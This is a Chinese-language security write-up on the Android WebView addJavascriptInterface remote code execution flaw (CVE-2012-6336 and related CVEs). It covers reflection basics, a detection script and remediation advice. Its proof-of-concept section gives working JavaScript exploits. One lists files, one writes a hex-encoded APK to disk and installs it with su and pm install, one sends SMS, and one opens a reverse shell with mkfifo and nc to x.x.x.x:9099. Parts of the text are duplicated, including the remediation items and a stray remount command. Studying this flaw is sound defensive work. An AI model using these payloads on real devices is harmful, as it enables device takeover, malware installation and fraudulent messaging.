一 前言
Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。
触发前提条件:
使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
使用WebView加载外部网页或者本地网页;
Android系统版本低于4.2(Android API level 小于17);
Android系统版本低于4.2(Android API level 小于17);
二 漏洞原理
1 WebView简介
WebView可以简单理解为一个展示Web页面的界面,同时提供了一些简单的交互功能。在android<4.4中的WebView是基于Webkit实现的。其基本用法如下:
首先在配置文件中添加WebView控件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<WebView
android:id="@+id/web_view"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</LinearLayout>
然后在Activity中就可以直接使用了
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.baidu.com");
}
这里我们就可以看到,页面上显示了百度首页。
2 漏洞代码实际情况
我们先来看一下漏洞代码
class JsObejct{
@javascriptInterface
public String toString(){
return "injectedObject";
}
}
webView.addJavascriptInterface(new JsObject(), "injectObject"); //新建JsObject,并注入到js的injectObject字符串中
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())"); //webView中访问执行js代码,js中调用injectObject字符串的toString方法,
// 在后台代码中会被映射到JsObject对象的toString方法。
说明:从代码中我们可以看到,addJavascriptInterface往WebView中注入了一个Java Object,而这个Java Object的方法可以被js访问。通过这种方式,WebView中的js可以和本地App进行通讯,这确实是个很强大的功能。这么做的好处在于本地App逻辑不变的情况下,不需要升级App就可以对程序进行更新,修改相应的Web页面就可以了这里看来一切正常。
3 反射
反射是java语言提供的一种机制,使得java程序可以在运行时检查类、接口、方法和成员。
反射的功能:
对于任意类,可以知道其所有属性和方法;
对于任意对象,可以调用其任意方法;
我们通过以下两个示例来理解反射。
执行对象方法
import java.lang.reflect.Method;
class Demo{
private void a1(){
System.out.println("I am a1");
}
public void a2(){
System.out.println("I am a2");
}
}
public class hello {
public static void main(String[] args){
Demo demo = new Demo();
Class mObjectClass = demo.getClass(); //获取Class对象
System.out.println(mObjectClass.getName());
Method[] methods = mObjectClass.getDeclaredMethods();//获取函数数组
for (Method method:methods){
System.out.println("method = "+ method.getName());
}
try{
Object o = mObjectClass.newInstance(); //根据Class实例化对象
methods[0].setAccessible(true);
methods[0].invoke(o);//调用o对象的method[0]方法
}catch (Throwable e){
System.out.println(e.toString());
}
}
}
输出结果:
由此可以可看到,我们利用反射成功调用了demo中的a2方法。
执行命令
import java.lang.reflect.Method;
class Demo{
public void a1(){
System.out.println("I am a1");
}
public void a2(){
System.out.println("I am a2");
}
}
public class hello {
public static void main(String[] args){
Demo demo = new Demo();
Class mObjectClass = demo.getClass();
System.out.println(mObjectClass.getName());
Method[] methods = mObjectClass.getDeclaredMethods();
for (Method method:methods){
System.out.println("method = "+ method.getName());
}
try{
Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null,null); //第一个参数为类的实例,第二个参数为相应函数中的参数
Class c2 = obj.getClass();
String array = "cmd.exe /k start calc";
Method n = c2.getMethod("exec", array.getClass());//获得该类中名称为exec,参数类型为String的方法
n.invoke(obj, new Object[]{array});调用方法n,第一个参数是类的实例,第二个桉树是相应的参数,以数组表示
}catch (Throwable e){
System.out.println(e.toString());
}
}
}
为了方便测试,在java中调用windows命令来启动计算器。
输出结果:
成功调用计算器。
获得Class对象的方式
Class c1 = hello.class;
Class c2 = c1.forName("java.lang.Runtime");//这种方式需要处理异常,否则会报错
Class c3 = new hello().getClass();
三 检测方法
在检测某个apk是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的js遍历其windows对象然后判定getClass函数是否存在即可。
js示例代码如下:
function check(){
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br/>');
}catch(e){
}
}
}finally{
}
}
}
check();
如果存在漏洞,那么在访问该页面时,会显示出其存在的漏洞对象名称。
mount -o remount rw /
四 漏洞POC
1)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,结合反射机制调用Android API getRuntime执行shell命令列出指定文件
js示例代码如下:
<script type="text/javascript">
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
</script>
让app访问该页面结果如下:
2)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,结合反射机制调用Android API getRuntime执行shell命令进行挂马:a安装木马应用APK, b 安装执行ELF可执行程序(暂未测试安装apk)
示例代码如下:
<script type="text/javascript">
function execute(cmdArgs)
{
return inject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);//注意修改为自己的可供调用的java对象名称
}
var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00";
execute(["/system/bin/sh","-c","echo '"+apk+"'>/data/data/com.example.hello/fake.png"]);//自己测试的时候注意包名的修改,我测试的apk包名为com.example.hello
execute(["chmod","755","/data/data/com.example.hello/fake.png"]);//包名修改
execute(["su","-c","pm install -r /data/data/com.example.hello/fake.png"]);//包名修改
</script>
结果如下:
3) (暂未测试)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,利用反射机制调用Android API sendTextMessage来发送短信。
java代码
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
EXP的JavaScript代码:
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>
4)(暂未测试)利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的shell到远程控制端的目的:
EXP的 JavaScript代码:
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
</script>
</body>
</html>
四 漏洞修复建议
1.使用API Level高于16的Android系统
处于安全考虑,为了 防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响。google官方文档使用示例如下:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2. API Level小于17的Android系统
建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,请参照博文《在Webview中如何让JS与Java安全地互相调用》[6]。
如果一定要使用addJavascriptInterface接口:
1) 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
2) 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
3) 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验;
3.移除Android系统内部的默认内置接口
Google Android < 4.4 受到此漏洞的影响
如果一定要使用addJavascriptInterface接口:
1) 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
2) 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
3) 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验;
3.移除Android系统内部的默认内置接口
WebView远程代码执行相关的漏洞主要有CVE-2012-6336,CVE-2014-1939,CVE-2014-7224, 这些漏洞中最核心的漏洞是CVE-2012-6336,另外两个CVE只是发现了几个默认存在的接口
CVE-2014-1939
java/android/webkit/BrowserFrame.java 使用addJavascriptInterface API并创建了SearchBoxImpl类的对象。攻击者可通过访问searchBoxJavaBridge_接口利用该漏洞执行任意Java代码:
Google Android <= 4.3.1 受到此漏洞的影响
CVE-2014-7224
香港理工大学发现两个新的攻击向量存在于android/webkit/AccessibilityInjector.java中,当系统辅助功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,分别是”accessibility” 和”accessibilityTraversal” ,建议移除:
1
2
|
removeJavascriptInterface
(
"accessibility"
);
removeJavascriptInterface
(
"accessibilityTraversal"
);
|
参考文章